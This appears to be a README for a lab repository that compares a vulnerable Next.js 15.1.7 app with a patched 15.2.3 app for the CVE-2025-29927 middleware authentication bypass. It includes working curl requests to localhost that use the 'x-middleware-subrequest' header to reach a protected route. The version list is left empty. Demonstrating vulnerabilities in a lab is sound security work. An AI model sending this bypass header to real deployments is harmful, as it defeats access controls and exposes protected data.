
vulnerable-nextjs-14-CVE-2025-29927
This repository is a monorepo project that allows you to compare the CVE-2025-29927 middleware vulnerability between Next.js versions 15.2.3 and 15.1.7.
CVE-2025-29927 is a security vulnerability discovered in Next.js middleware that allows bypassing authentication middleware using the x-middleware-subrequest header.
This vulnerability affects the following versions:
pnpm installpnpm dev$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}
$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}
nextjs-cve-2025-29927/
├── apps/
│ ├── next15_1_7/ # vulnerable version
│ └── next15_2_3/ # patched version
├── packages/
│ └── ui/ # shared UI components
└── README.md